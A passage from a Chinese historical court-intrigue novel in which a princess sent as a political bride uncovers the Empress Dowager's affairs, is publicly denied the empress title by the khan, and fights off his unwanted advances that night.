叱云额雅从镜中朝她挤了挤眼睛:“就是那个汉人……很白的,脸很……”她形容不出来,只能自己比划一个长长的脸型。明绰一下想起来是谁了:“温峻!”
叱云额雅赶紧嘘她,明绰只好压低声音,又悄悄问了一遍:“温侍郎啊?”
“对啊。”
明绰倒吸一口冷气。温侍郎确实是年轻俊美,格外挺拔,她见汉官那天一眼就记住他了。当时段太后也在,但两人之间就是平平常常地行礼,连个额外的眼神交流都没有。她是真的没有看出来。
明绰惊得把那簪子又放下了:“宫里都知道吗?”
“很多人都知道。”叱云额雅朝她做了个噤声的手势,“但可汗不知道,他们是可汗去了西海以后才好上的。”
明绰干笑一声,猜也猜到乌兰徵肯定不知道。
叱云额雅并不觉得这有什么不对,西海的女子若是年纪轻轻就丧了丈夫,都是要找别的男人的。更何况可汗把长安交给她,丞相再不服气也得听她的。就算她有了别人,又怎样?谁敢说她什么?
但明绰不明白的是,如果这么多人都知道,不可能瞒得住乌兰徵。就算现在瞒得住,他回来了也瞒不住。
“可汗肯定还是会不高兴的。”叱云额雅叹了口气,“但他不是不讲道理的人,最多就是他回来以后,大可敦别再跟那汉人来往,也就是了。不然还能怎么样?”
明绰竟然一时分辨不出来她这是天真,还是段太后当真这般有恃无恐。
叱云额雅又问:“那你额珂呢?”
“我……?”明绰一愣,“我母后怎么了?”
“她不也是雍国的大可敦吗?”叱云额雅从镜子里朝她一笑,“她有几个‘温侍郎’?”
这话问得明绰半晌都说不出来话。到了晚间,悄悄地拉了梁芸姑问,母后这些年,可曾有过她的“温侍郎”。
“胡说八道!”梁芸姑一下子就炸起来了,对叱云额雅的那些好感瞬间又抛到了九霄云外。
明绰赶紧拉住她安抚:“我不是那个意思……”
然而梁芸姑斩钉截铁,气得脸都红了:“绝对没有!怎么平白这样污太后的清白!这些蛮夷自己没个人伦,就觉得全天下的女子都不要脸了吗!”
于是明绰就不再说了。其实就算母亲真的有过,她也不会觉得有什么。叱云额雅说,年纪轻轻丧了夫,再找别人是天经地义。她的母亲失去丈夫的时候,难道不比段知妘还年轻么?叱云额雅的阿耶只是一个小部落的王,就有十五个女人。她的母亲执掌半个天下,却只有十五年深宫寂寞。
明绰一直等到梁芸姑歇口气不骂了,才轻轻说了一句:“我只是想,母后若是也有过什么人,至少也曾开心过。”
梁芸姑突然安静了下来,一行泪猝不及防地坠了下来。明绰吓了一跳,忙道:“我错了!我胡说的,芸姑你别哭啊……”
梁芸姑仓促地抹了一把眼泪,努力做了几个呼吸平复了下来。
“芸姑……”明绰也跟着掉了眼泪。
但梁芸姑打断了她,正色道:“长公主,古来多少祸事都是因为坏了礼法纲常而起?圣人说克己复礼,你都忘了不成?宫闱若乱,便是国家不兴之兆,段太后她……”
梁芸姑顿了顿,看起来似乎是有一些难听话要说,最后又顾忌着什么,咽了下去,只道:“她万万不及你母后,切不可学她!来日你为皇后,定要把蛮夷这乌烟瘴气的习气都革了去!”
明绰似懂非懂地点了点头。自然了,段太后是比不上她的母亲的。可是不知道为什么,明绰总想起第一次见到段知妘那天,她的翘头靴子,她抱着女儿转了一圈时的笑容,还有她掌心摸得到的弓马痕迹。她从未见过母亲有这样的时刻。在她的记忆里,母亲大多数时间都是忧愁而焦虑的,病痛和劳心一直折磨她到了最后一刻。她以为那是因为母后要操心整个国家,任谁来了都无法轻松。可是段知妘的难处分明比母后还要多,丞相的掣肘,各族之间无法弥合的矛盾,国家初立的种种举步维艰……都磨灭不了她身上的生命力。
为什么呢?只是因为一个温侍郎吗?
明绰在困惑中躺下,却久久无法入睡。梁芸姑就睡在一道屏风之外,以为她已经歇下了,其实明绰能听见她轻轻的抽泣。明绰知道,她在哭母后。一转眼,谢拂霜已经走了有一年了,明绰以为自己已经好了,不会再因为提到母亲就落泪,可是她也没有从来像现在这样思念过母亲。这是一种不同的思念,她有好多的事情想不明白,想从母亲那里得到一个答案。可是母亲再也不会回答她了。
她想着想着,内心却升起了一股内疚。她怎么能这样拿段太后和母后相比?甚至还因此生出了觉得母后可怜的不敬之心。这内疚越来越强烈,像是某种活物,噬咬着她的心。明绰翻了个身,任由泪水从太阳穴落下来,把鬓角濡湿了一片。
那天以后,明绰便很少主动去长霄殿了。
段太后又召她那一天,已经近了七月。天热得不像话,明绰和叱云额雅在屋子里呆不住,出去找了个水边,湃着果子,和几个玩得好的嫔妃一起纳凉。连夫人也跟了来,原是她们表姊妹之间闹了龃龉,连夫人不愿伺候陈夫人那公主的谱了,跑来和她们玩儿。明绰也不记仇,很是欢迎。几个年轻女孩子躲在水边树丛里,贪凉快脱得衣衫不整,自是都躲着人。长霄殿里的人传话,几次路过水边都没发现人,等她们终于玩够了回去,明绰再听到信儿,天都快黑了。
她赶紧换了身衣裳去长霄殿,还没进去,就听见段太后在跟另一个人说话。
“……耽搁这么长时间,建康那边要是知道了,定以为你是有意拖延,怠慢公主!”
明绰脚下一顿,没来得及多想,已经躬身躲到了窗下。天气热,长霄殿里的门窗全大开着,乌兰徵的声音便清清楚楚地传了出来。
“我本就是有意拖延。”
他的声音是很好听的,但听到明绰耳朵里,却是说不出的刺人。
“此事我已经跟你解释过了。”段知妘听起来十分耐着性子,“她毕竟是萧盈唯一的妹妹,舍不得也是人之常情。她和萧盈的感情越好,于大燕就更有利……”
回应她的只有乌兰徵的一声冷笑,段知妘一下子就闭了嘴。
“萧盈不想把她嫁过来,我就很想娶她么?”
第43章
段知妘闻言深吸了两口气,明绰还没见段太后连呼吸声都在强压着火气,但她一开口,还是平静的,甚至带了几分温柔。
“可汗是不是在西海遇见什么美人了?你等见到了公主不迟,她不输天下任何美人……”
“美人没有,”乌兰徵还是冷冷
的,“老鼠倒是揪出来一只。”
段知妘一愣:“什么?”
“拔拔真身边有个汉人,是他当初去建康献羌人皇帝的头颅时带回来的老鼠。他有一个学生,叫阿勒敦,后来去了兀臧蛮身边做谋臣。”乌兰徵声音里带了一丝恨意,“当初阿耶病重,兀臧蛮和拔拔真携众叛出大燕,害得阿耶吐血身亡,原来都是这汉人老鼠做下的好事!”
明绰躲在窗外,脑子转得飞快。在建康时没有人告诉过她这件事,但她立刻就想到当年萧盈说起的那套“纵横捭阖,分而化之”的良策——那个壮年白头的献策之人当时就站在她身边,她记得他的名字,后来追随拔拔真而去的苏絷。
原来那并不是纸上谈兵的计划。
段知妘陷入了沉默,这件事情她显然没有料到。
乌兰徵又道:“萧盈表面上和我谈亲事,背地里却干这样的勾当。他这会儿把妹妹送来,是知道阿勒敦落在我手里了,他怕了!”
明绰一时气冲胸间,险些站出来反驳他。荆州军陈兵风陵渡口,一直到她渡河之前都做好了随时开战的准备,皇兄才没有怕!
段知妘终于开了口:“那你想怎么样?”
她不叫“可汗”了,那种耐着性子的温柔也不见了。短短一句话,倒比方才乌兰徵那几句加起来都有压迫感。果然,乌兰徵再开口的时候,气势明显弱下去了。
“我要查一查朝中的汉官,看看还有没有建康派来的老鼠!”
段知妘当即冷笑了一声:“可汗想查就查,总共也就这么几个人,家眷老小也全都在长安了,随你查就是。”
这下轮到乌兰徵不说话。段知妘又道:“不然可汗就遂了丞相的意,把萧典处置了。若说朝中有谁跟建康有联络,那只有他了。他可是大雍皇帝的本家!”
乌兰徵只好道:“我没这个意思。”
“那你是什么意思?”段知妘声音提起来,“要我把萧家的公主送回去?”
真送回去倒好了。明绰愤愤地想。就这么两句话,她已经不喜欢这个乌兰徵了。叱云额雅口中那个有血有肉,甚至还有几分可爱的人好像都是她自己想出来的。段太后在她面前一向夸乌兰徵,让明绰觉得他是个明主。但眼下听他们说话,还真的很像母子两个,哄的时候像,教训的时候更像。
明绰没忍住在心里比较。萧盈从很小的时候就学会了心里拿定主意再说话,从来不会跟大人发这种无用的脾气,乌兰徵如今也有二十四了,却还要跟阿娘撒娇耍赖,说这些空洞的威胁,孩子一般,能是什么明主?只从为君上来讲,就已经半点也比不上她皇兄。更何况段太后根本也没有比乌兰徵大上几岁,她嫁给乌兰郁弗的时候,乌兰徵已经比明绰现在都大了,也不知道他跟这小继母撒哪门子的娇。
房内又安静了半刻,然后是一阵簌簌的动静,明绰听见乌兰徵压低了声音,道:“你别生气。”
不知道为什么,明绰的胳膊上突然起了一层鸡皮疙瘩。乌兰徵这语气很怪,可她又说不出来怪在哪儿。但他说别生气,段知妘果然便没有气了,又好言好语地跟他说起来。
“陛下,”——她又换了叫陛下了,“我跟你说过,羌人之所以亡国,不光是你西海十八部的功劳,也不光是我雍州军的功劳,最重要的,是因为羌人失了民心。百姓们拿着锄头镰刀都要跟着我们一起杀羌人,长安箪食壶浆迎接我们进城。民心在大燕,大燕才立得住。无论谁坐王庭,这里都是汉人的家,汉人要比你们西海人、羌人、渠搜人都多上千倍、万倍,你想要一统大业,就不能只做西海人的皇帝。”
乌兰徵:“可是大燕的汉人世家有这么多,何必舍近求远,非要娶大雍的公主?”
“你娶了杜氏,就得京兆一地,娶了姜氏,就平天水一郡……”段知妘道,“他们把女儿、孙女儿都加起来,也比不上一个萧明绰。”
“可是她兄长狼子野心。”乌兰徵的声音沉下去,“大雍穷尽四代之力西征,如今又派细作……”
“那已经是六年前的事情了。”段知妘打断他,“你阿耶那时还是大雍的长安王,他们想要防止你阿耶坐大,自然是要用些手段的。可是时移世易,如今萧盈既然把妹妹嫁过来了,以后定然也有不一样的打算——更何况六年前他也只是个小孩子,这些事情多半是谢家人的意思,我看他未必知情。”
这话倒是离真相很近了,明绰觉得萧盈应该是真的不知道。
乌兰徵沉默了一会儿,好像是被段知妘说服了,可过了一会儿,又道:“难道就这样算了么?”
段知妘叹了一口气。
“阿耶还没咽气,兀臧蛮就带了人出城。拔拔真还把阿耶送他的骕骦驹斩了首送回来。”乌兰徵的声音很沉痛,“我这些年做梦都是阿耶闭眼的时候,拉着我的手,要我替他报仇……如今我知道了罪魁祸首是谁,却还要娶他们送来的女人?”
“但罪魁祸首不是萧盈,更不是萧明绰。”
“可是他们也趁着阿耶的死出兵了!”乌兰徵愤愤难平,“他们讨去了三县之地,还逼我俯首称臣……”
段知妘突然柔声用乌兰语唤了一声什么,也许是乌兰徵的小名,明绰没有听懂。乌兰徵似是当真被安抚下来,不说话了。
“害死你阿耶的,是兀臧蛮,拔拔真,纥骨勃斤和莫舆遏。兀臧蛮和他的走狗都死在你手里了,可剩下的人还躲在冀州和辽东。为君者,要能为大局谋。荆州三县之地,与整个冀州和辽东比起来,孰轻孰重?立萧明绰为后,与建康交好,你才能无后顾之忧地东征。那是你跟着你阿耶一起打下来的江山,是你两个兄弟豁出性命才争下的土地,你不想收回来么?”
她的声音渐渐地轻下去了。好一会儿,明绰听不清他们是不是又继续说了什么,只有簌簌的动静又响起来,似是衣料摩擦。乌兰徵说了句什么,很含糊,然后明绰听见段太后压着嗓子笑了一声:“别闹。”
这动静实在有点儿不对劲,明绰壮着胆子从窗下露出了一双眼睛,只见乌兰徵背对着窗外坐着,段太后站在他面前,被他紧紧地搂住了腰,脸贴在她的胸口。段太后的手抵在他肩膀上,想把他推开,但乌兰徵用了更大的力气,段太后险些跌进他怀里。乌兰徵从她胸口仰起脸,像一只向母鸟讨食的雏鸟。段太后低头看着他,眼里带着笑,似是拿他没办法,飞快地扫了一眼四周,极快地在他唇上一啄,然后立刻挣开了他,站定理了理被他揉乱的裙子,恼道:“又来,你再敢这样拿你阿耶——哎呀!”
她“啪”地打开乌兰徵伸到她裙下的手,但乌兰徵锲而不舍,换了只手,不紧不慢地撩她的裙子。夏日的裙子轻薄,撩开来便是一截雪白的腿。段太后这回不打了,含着笑,瞧他还有什么招数似的。乌兰徵笑了一声,把人一拽,让她坐在了自己腿上。
明绰重新把头缩回去,转过身,靠住了窗下的墙,捂住嘴,坐在了地上。
乌兰徵还在说话:“你为何总要我娶别的女人?”
“得了便宜还卖乖。”段知妘“啧”了一声,“那萧明绰可是难得一见的美人。”
“比你还美么?”
“那是自然。还比我年轻,花一样的年纪……”
明绰闭上了眼睛,只觉得一阵恶心从胃里往上涌。
不知道乌兰徵又做了什么,只听段知妘的声音坚定了一些:“别闹!”
乌兰徵便道:“额珂如今有了旁人,不疼儿子了。”
明绰心里一动,乌兰徵果然知道了温侍郎的事情。她意外于自己竟然还是起了好奇心,想知道他会是什么反应。可是他就说了这么一句,不像问罪,也不像吃醋。她根本听不出来他在想什么。
段知妘有一会儿没说话,然后她冷笑了一声:“你别贪心没个够,咱们乐也乐过了,如今你就要立皇后,若再不知轻重,等她一状告回她皇兄那里,两国交恶,我要你好看!”
明绰无声地吸进一口气,再很慢地吐出来。若她没有瞧见这一幕,恐怕还是会跟刚才一样,觉得段太后把乌兰徵当儿子训。但
现在听起来,教训也似调情。明绰想走,可她坐在这里就是动不了。
乌兰徵果然只是笑笑,没把段知妘的话放在心上:“她那个皇兄不说是个没用的病秧子么?”
“若真是个病秧子,能前后一年光景就把谢家收拾得这么干干净净?他可还比你小着这么多岁呢……”段知妘啐了他一口,“你要是有人家的手段,还用我一次次给你做恶人?”
乌兰徵还是笑:“儿子不会,要额珂教我。”
“少来。”段知妘“哼”了一声,“我同你说正经的。你若还想东征讨回冀辽,必须处置齐木格!”
乌兰徵发出了一个不怎么耐烦的声音,显然很不愿意听段太后又提及丞相。
“他和贺儿薄、步察巴合几个人放任手下任意圈地,夺百姓良田……”段知妘说到这里突然顿了一下,似是想跟乌兰徵说百姓如何苦不堪言,两族矛盾如何雪上加霜,但想了想又咽了回去,只挑了乌兰徵最在意的事情说,“我也不想跟丞相起冲突,可是再这样下去,你东征大军的口粮都要进他们的口袋了!”
乌兰徵果然没再替齐木格说话,叹了口气,好一会儿才无奈道:“他们都是跟阿耶在阿瓦神女湖边上立过誓的乃满都,我若动他们,阿瓦神女会降灾祸给我的。”
“你阿耶早改信了佛,还管什么阿瓦神女?”
乌兰徵:“那不过是拉拢纥骨勃斤和拔拔真的权宜之计,阿耶临终时还是向阿瓦神女祈祷……”
明绰不想再听下去了,她无声地起身,飞快逃回了黑暗中。长霄殿里外一个伺候的人都没留——她来的时候还觉得奇怪,现在明白为什么了。她一路疯跑,像是身后有什么东西在追她似的,冲进门的时候险些一头撞到叱云额雅身上。
“明绰!”叱云额雅吓了一大跳,“你怎么了?”
明绰停下来,已跑得满身都是汗,喘个不停,眼前一阵一阵地发昏,像个溺水的人,紧紧攀住了叱云额雅的手臂。
“大可敦跟你说什么了?”叱云额雅惊讶地看着她,见她跑得脸红,伸手摸了一把她的额头,摸到一把滑腻的冷汗。
“没……没说什么。”明绰把话咽回去,强迫自己站稳,“你要去哪儿?”
叱云额雅看起来要出门——不只是要出门,她精心地打扮过,明绰闻到了她送给她的头油香味,像一朵刚刚盛开的鲜花。
“我刚听说的,可汗回来了!”叱云额雅拉住她,“走,我带你去见他!”
明绰猛地往后退了一步:“不要!”
叱云额雅被她语气里强烈的抵抗惊住了,露出了一丝受到冒犯的表情。明绰看着她,一时只想把一切都告诉她,让她也别去,一时又什么都说不出来,只有她身上的香气,她精心搭配过的额饰和耳坠子,还有她清凉的粉色单衣,薄纱的袖子的被花样繁复的金臂钏固定,走起来飘飘欲仙。
她这样美,这样欢喜地去见久别的归人。
明绰放开了她,轻声道:“你去吧,我不打搅你们。”
叱云额雅不明所以地看着她:“就是见见他,你也一起嘛。”
明绰还是摇了摇头:“你们肯定有体己话要说。”
叱云额雅的表情告诉她,她没听懂“体己话”这个词。但她显然明白了明绰的不情愿,于是她也不再劝了,匆匆说了两句,就急着跑走了。明绰看着她跑远了,自己转头回来,一进房间就扑到床上,放声大哭。
梁芸姑听见动静,担忧地坐到了床边,扶起了明绰的肩膀:“怎么了?”
明绰投进她怀里,环住了她的脖子,哭得肝肠寸断。梁芸姑无措地捋着她的头发:“溦溦,你别吓唬我,怎么了呀?”
可是明绰只是摇头,热汗和眼泪都混在一起,蹭在了梁芸姑的襟口。她能跟芸姑说吗?她后悔了,她不想嫁了。她能不能给建康写信,让皇兄立刻派人来接她?——有那么一会儿,她完全忘记了和萧盈最后一次相见时彼此都说了什么,心里只想着皇兄能不能来接她回家。
可是,写了信,然后呢?
她若此时悔婚,大燕一定不会放她走。萧盈不来,她在长安就可以说没有了活路。萧盈若派兵来抢,那便是两国交恶,兵祸四起。回到建康朝堂上,她会受到怎样的指责?母亲的谋逆大罪尚未清算,她又犯下这样的过错,从此以后她如何立足?一个失势的公主,就是一颗棋子,下在哪里都是身不由己。萧盈会给她安排什么样的驸马?还是会冒天下之大不韪把她强娶进宫?那个说出了“朕真希望是朕亲手下的毒”的皇兄,真的是她能倚靠的人吗?
明绰哭得抽了两下,突然又想起了风陵渡口,她亲口对袁煦说过的话。那时她就已经很清楚,再无身后身,只有眼前路,这是她自己选的。
她停下来,像是把什么东西嚼碎了咽了下去。哭声被强硬地克制住,但眼泪仍无法控制地往下落。于是她坐直了身体,紧紧咬住了下唇,无论梁芸姑怎么问,始终一言不发,直到最后一行眼泪流干。
第44章
乌兰徵回来的消息到了第二天才正式传开,宫中为可汗设宴接风,段知妘特地将明绰安排在了自己身边,陪坐在乌兰徵的位置边上。可是群臣陆陆续续都到了,乌兰徵却迟迟没有出现。段知妘遣人去问,说可汗睡了一日,刚醒,正梳洗呢。
段知妘便对明绰道:“陛下连日长途跋涉,累着了。”
明绰点了点头。心中突然想起叱云额雅说过的话,果然是很能睡。
段知妘上上下下打量了她两眼,明绰低下头,避开了她的目光。今日长霄殿的掌事女官察察已经提前派人来说过,让她最好作乌兰人打扮。太后的意思,是要趁着今天的场合,让乌兰徵当着百官的面立皇后。萧氏公主若能打扮得入乡随俗一些,不那么强调她的汉人身份,西海群臣的抵触心理也会少一点。可是明绰从头到脚都是汉人的装束和发式,坐在乌兰人堆里极为显眼。
段知妘问她:“昨日想叫你先见见陛下的,怎么没有找见你人?”
明绰:“我和几个姐妹去水边纳凉了,察察姐姐错过了吧。”
“今日呢?察察说见到你人了。”段知妘的眼神似要穿透她,“为何不作乌兰人打扮?”
因为她不愿意。但是明绰没说出口,故作惊讶道:“原来是这个意思!太后恕罪,额雅她今日不在,察察姐姐的话我没听明白。”
段知妘轻轻皱眉,隐约感觉到明绰的情绪不对劲,绵里藏针的。但她一时也想不到明绰在不高兴什么,她知道昨夜叱云额雅就留在乌兰徵那里了,以为明绰是为了此事不悦,便劝了一句:“你不用吃醋。陛下只是希望叱云额雅能早日为他生下皇长子。”
明绰一愣,莫名其妙地看着太后。这话前后都不搭着,她实在没有明白。为什么不用吃醋?是太后知道她与叱云额雅交好,觉得她会为了姐妹高兴?但那语气也不像是这个意思。
明绰正要相问,外面传来了通报之声。明绰已能听明白简短的乌兰语,这说的是“可汗来了”。殿中原本交谈正欢的声音一下子全都戛然而止,所有的人都站了起来,等着一个人影从殿外进来。
明绰第一次看清了乌兰徵的正脸。
谢维没有骗她,叱云额雅也没有骗她,乌兰徵确实是一副天生好皮相。他有一张非常典型的西海人面目,鼻高眼深,颧骨微高,下颌线条利落,却不像拔都那样留一把大胡子。很高,萧盈已是明绰见过的人算高的,乌兰徵看起来比他还要再高半个头。不着大袍,只穿着乌兰人平常的骑马装,劲装结束,显得肩平而宽,腰劲而窄。也不束冠,短发编成无数小辫,攒至头顶,编成一根大的,发间坠一颗龙眼大的明珠,衬得他头发油亮漆黑。脸也是西海人常见的
苍白肤色,但脖子上还有一道明显的肤色分割线,襟口露出来的那一点儿比脸更白,显然是常年在外征战,已经晒黑过了。装束虽然随意,腰间却佩了一柄宝剑,右手闲闲地往剑柄上一搭,倒是说不出的相宜。
他一进来,群臣都向他行礼。明绰见他亲自去扶一个瘸着退的大汉,令他坐下,口中以乌兰语称呼他为“额赤哥”,便是叔叔的意思。
段知妘凑到她耳边,轻声道:“那是丞相齐木格。”
明绰点了点头。齐木格身边的几个人都围上来,也不讲什么君臣之礼,非常亲热地拍他的肩,每个人都说着极快速的乌兰语,明绰一个词都没抓住。段知妘继续小声地告诉她,半边脸都被烧伤的是贺儿薄,他身边的那个年轻的是他儿子。瞎了一只眼的是步察巴合,头发几乎已经全白的是他的叔叔步察粟特……
“这些都是陪着先帝打天下的功臣。”段知妘语气淡淡的,“看到他们身上的伤了吗?那就是他们世袭罔替的爵位。”
明绰点了点头,看见乌兰徵应付完了这几个老叔叔,翩翩地转了身,又到了那几个汉官面前,张口便是流利的汉话。
“温侍郎,”他越过了汉官之首的萧典,直接唤了坐在后面的温峻。
温峻连忙直起身朝他行礼:“陛下。”
“几年不见,升官了。”乌兰徵笑眯眯的,“太后对你可是赞不绝口。”
温峻微微垂头:“得蒙太后器重,臣唯有尽忠而已。”
明绰没忍住偷偷看了段知妘一眼,只见她面色如常,甚至都让她自己怀疑起来是不是根本就没有这么回事儿。乌兰徵也没有表现出别的情绪,听见温峻这样答,只哈哈一笑,拍了拍他的肩膀,终于朝上首走来了。
段知妘朝他行礼:“陛下。”明绰也跟在身边,深深地低下了头。乌兰徵一眼便知道她是谁了,朝段知妘挑了一下眉,那意思好像是在问她,“非得如此吗?”段知妘只当没看见他的表情,轻轻地把明绰往前推了推:“这就是大雍的东乡公主。”
明绰别无他法,只好不情不愿地屈膝:“东乡见过陛下。”
乌兰徵垂头看了她一眼,他个头本就高,明绰低着头,便只见她头顶繁复的珠翠。于是他说:“抬起头。”
明绰不喜欢这个口吻,所以她没动。下一刻,乌兰徵的手直接伸过来捏住了她的下巴。明绰立刻别过头去,来不及掩饰她的表情,抬起头狠狠地瞪了乌兰徵一眼。
离得近了,她突然发现,乌兰徵的眸子比汉人的要浅很多,是蓝色的。
乌兰徵也看着她,手还尴尬地停在她下巴下半寸的位置,眉头微微一皱。
他不得不承认,段知妘说得不错,大雍这位公主称得上是“难得一见的美人”。只是这美人眼里明明白白地写满了嫌恶与不屑,甚至都懒得遮掩一番。乌兰徵又看了一眼她身上袖袍宽大的直裾裙,深红暗纹,庄严得体,就是不知道这样的装束能不能迈开步子,骑上马。
好个天朝上国的公主,下嫁蛮夷,真是委屈她了。
段知妘离得近,已感到乌兰徵的脸色不对劲,但还没说什么,萧典已经越众而出,朗声道:“陛下,为圣君者必立后,以承祖庙,建极万方。东乡公主温婉淑德,娴雅端庄,臣请授皇后玺绶,肃承宗庙,虔恭中馈!”
乌兰徵耐着性子听他这一大篇话,一边又朝段知妘挑了一下眉毛。不必问,萧典这个时候出来说这番话必是太后的意思。段知妘看着他的表情,心里突然坠了一下。昨晚她软硬兼施地才让乌兰徵勉强答应了此事,但现在看大雍公主这样的态度,乌兰徵不奉陪了。
“萧大人,”乌兰徵笑着转过去,“你又不是不知道,丞相他汉话不好,你说这么文绉绉的,他听不明白。”
齐木格闻言抬起头,看了看乌兰徵,又看了看萧典,像是突然明白了什么,唇边露出一抹意味深长的微笑。
萧典一愣:“可是……?”
乌兰徵大马金刀地往上首一坐,手撑在膝上,只道:“丞相同我亲叔父,是长辈。立后这么大的事情,难道当着他的面,不说给他听吗?”
段知妘的脸色已经极为难看:“陛下!”
“可汗!”齐木格果然用乌兰语叫了一声,“我没听明白,这是在说什么?”
乌兰徵便一摆手:“再给丞相说一遍吧。”
萧典的脸面一下子涨得通红。齐木格不通汉话,他也不通乌兰语,乌兰徵这是摆明了为难人。温峻就在这个时候轻轻行了一礼,道:“臣遵旨。”
他往前站了一步,张嘴便是一串流利的乌兰语滚了出来。齐木格听了两句,马上就朝乌兰徵行了一礼,叽里咕噜地说了几句话,大概是不同意的意思。温峻站在阶下,立刻又以乌兰语反驳齐木格,两人的语速都非常快,明绰一句都没有听懂,只看到乌兰徵玩味地勾了勾唇角。
“好了,”他息事宁人地抬起手,示意他们都别再说了,然后用汉话道,“二位说得都有道理。”
段知妘沉着声音,威胁似的:“陛下!”
但是乌兰徵没理她:“那就先册封萧夫人,立后一事,再议吧!”
明绰没有掩饰住自己的神情。羞辱来得太突然,打了她一个措手不及。她已经动用了全部的意志力强迫自己接受这段婚姻,下定了决心,只把注意力放在身为皇后的责任和权力上,不去管她的夫君是个什么样的人——然而现在乌兰徵告诉她,她只是个嫔妃,和战败投诚的辽阳侯送进宫的女儿没什么两样。
段知妘已经顾不得礼节,往前踏了一步,声音低沉而急促:“陛下!东乡公主尊贵,两国的国书上可是写明了立为皇后的——”
“那是两年前的国书了。”乌兰徵冷酷地看了明绰一眼,“是建康不守信在先。”
段知妘怒道:“你!”
明绰没再等乌兰徵说什么,突然站起来,转身走下了台阶。乌兰徵提高了声音:“站住!”
明绰脚下一顿,头高高地昂起来,气得胸膛剧烈起伏,但不愿回头。
乌兰徵:“这就是天朝上国的礼数吗?”
明绰转回头,看定了他。她感到所有人的目光都聚集在她身上,有几个乌兰人已经毫不掩饰地露出了讽刺的笑容。于是明绰也笑了笑,用乌兰语回敬了皇位上的人:“不,可汗。这是我最近学到的礼数。”
然后她头也不回地走出了大殿。
明绰回到了她所居住的长秋殿,仍是什么都没有肯对梁芸姑说。她气得厉害,无处发作,还没到委屈和诉苦那一层。只叫梁芸姑把东西都准备着收一收,等乌兰可汗下旨驱逐她们。可是转念一想,又觉得乌兰徵凭什么?她偏要在这儿好好住着,她若是怕了、气了,反倒叫乌兰徵看轻。于是又改了主意,要一切照旧,卸了妆饰换了中衣便要休息。可是哪里睡得着?辗转反侧半晌,还是起来到了案前,提笔写信给萧盈。
写了两句,明绰就气得笔都快握不住。她长这么大,还从来没有被人这样羞辱过。可是笔一顿,又担心这么正儿八经地给陛下告状,过了朝堂,事情就再无挽回余地,两国当真要失和,还是把纸团了,扔掉,又铺一张,想写给表妹谢星娥。给皇后的私信不必过朝堂,也给萧盈反应的余地,不必被群臣架上去。可这回写到“吾妹”两字,又停住了。在建康的最后几个月,谢星娥为了撇清姑母谋反的大罪,对这个表姐也是不冷不热,早已不复幼时的情谊,此时再要跟表妹讲这些私隐难堪,她心里也不舒服。
明绰想了又想
,最后竟然只有桓宜华一人可以倾诉。这一写,委屈便如潮水般从笔端流出,从发现乌兰徵与段太后的私情讲到今日殿上之辱,从她无路可退讲到前路无望,眼泪不自觉地涌了出来,滴在纸上,“啪”的一声,晕开一团墨渍。
她写得入神,没注意到有人走了进来,轻轻俯身,捡起了她扔在地上的纸,展开,轻轻念了出来:“伏惟皇兄圣躬万福,臣妹不胜幸甚。然蛮夷贪狡,素无信义……”
明绰吓了一跳,猛地回转过身,只见乌兰徵不知道什么时候已经站在他房中。她惊恐地环视了房中一圈,想叫人,却发现梁芸姑已让他打发下去了。
乌兰徵继续往下念:“乌兰既得所愿,乃负初誓,臣妹贱踞,不得正位。此诚欺天罔上,不知礼义之大悖也……”
明绰的信就写到这里,乌兰徵全念完了,甚至还翻过来看看有没有别的,然从信纸上抬眼看了看她,唇边带着戏谑的笑:“公主的字写得不错。”
最初的惊吓过去,明绰重新收拾出自己的尊严,昂着头道:“可汗认得的字也挺多的。”
乌兰徵不以为忤,只问她:“怎么扔了?”
明绰答不出来,一时羞恼,走上前去想从他手中把信拿回来。乌兰徵仗着身量优势,把信高高地举起来,不让她抢,视线又落到了她正写给桓宜华的信上。明绰立刻反身回去,先把那封信攥在手里,撕成了碎片。
乌兰徵看她那么紧张的神色,倒也没有真要去抢,只道:“给你情郎的信么?”
明绰看了他一眼,胸中那股邪火已经占据了她全部的理智,当即冷笑一声:“是啊。我情郎手握十五万大军,陈兵荆州,随时可以打入长安!”
乌兰徵“哦”了一声,没把她的威胁放在心上,懒洋洋地踱了两步过来,坐在了她写字的案几上。腿太长,甚至还得往外伸伸,不像是坐着,只是倚着,转过头来问她:“你情郎姓袁哪?”
明绰噎了一下,理智重新回笼,意识到自己说了什么,一下子涨红了脸。她方才心中只想着宜华姐姐的夫君手里有十五万荆州军,竟胡乱说出了这种话。
乌兰徵看着她的表情,反而觉得很有意思似的:“原来你这么想做我的皇后?”
明绰怒道:“我才没有!”
乌兰徵便晃了晃手里的信纸,明绰倾身过去,劈手夺过。乌兰徵顺手就揽住了她的腰,一把把她搂进了怀里。明绰吓了一跳,抵住他的肩膀,浑身都在用力,但她哪里推得开乌兰徵,只是气得眼泪打转,僵在那里,却挣脱不得。
乌兰徵倒也没有做什么,就这样看了她一会儿。
她从殿上走了以后,太后发了好大的火,齐木格说了几句维护乌兰徵,但以温峤为首的汉官也开始咄咄逼人起来,吵到彼此话都不饶人的时候,段知妘突然把酒杯一摔,也走了。乌兰徵这会儿才觉得可能是有点儿过火了,不过向来没有他去认错的道理,他还是若无其事地在殿上喝酒。宴停了,察察等在外头,私下传了太后的话,非常强硬,要求他今晚必须去长秋殿赔礼道歉。
来就来吧,段知妘明显是动了真气,乌兰徵知道见好就收。更何况——他看着怀中人,神色微动。她已然卸去了繁复的发式,长发流瀑般垂到腰际,身上也只有一件单薄的素纱衣,轻盈而宽松,随便看一眼,就能看到里面包裹的纤细线条。
更何况,她真的是很美。
乌兰徵突然往前倾了一下,明绰意识到他要做什么,边躲边想逃。乌兰徵一把就制住了她两只手,把人拦腰一抱,掉了个个头,放到了桌上。明绰尖叫一声,手摸到了砚台,也不管里面还有墨汁,抄起来就砸。得亏乌兰徵沙场往来,反应极其迅捷,头一歪就躲了过去。砚台砸到了地上,墨汁洒得到处都是,两个人的脸上、身上都溅上了斑斑点点。乌兰徵还没有遇到过这么激烈的反抗,一时怔愣了一下,好像终于意识到这不是什么欲擒故纵的把戏,而是真的在强人所难。明绰全身都在抖,感觉到他的钳制松了,马上从桌上跳下来,逃得离他远远的,缩到了屏风后。
乌兰徵没追上去,只是隔着屏风道:“无论你过去的男人是谁,你皇兄都已经把你嫁给我了。”
然而回答他的只有明绰愤怒的声音:“滚!”
这可是她说的。乌兰徵不以为意地耸了耸肩,反正他今晚已经来过长秋殿了。
他转身准备出去,走了两步,看到扔在地上的砚台,低头给她捡了起来,仍旧放回了原位。然后他最后看了一眼屏风后的人影,露出了一个很玩味的笑意,什么都没说,出去了。
第45章
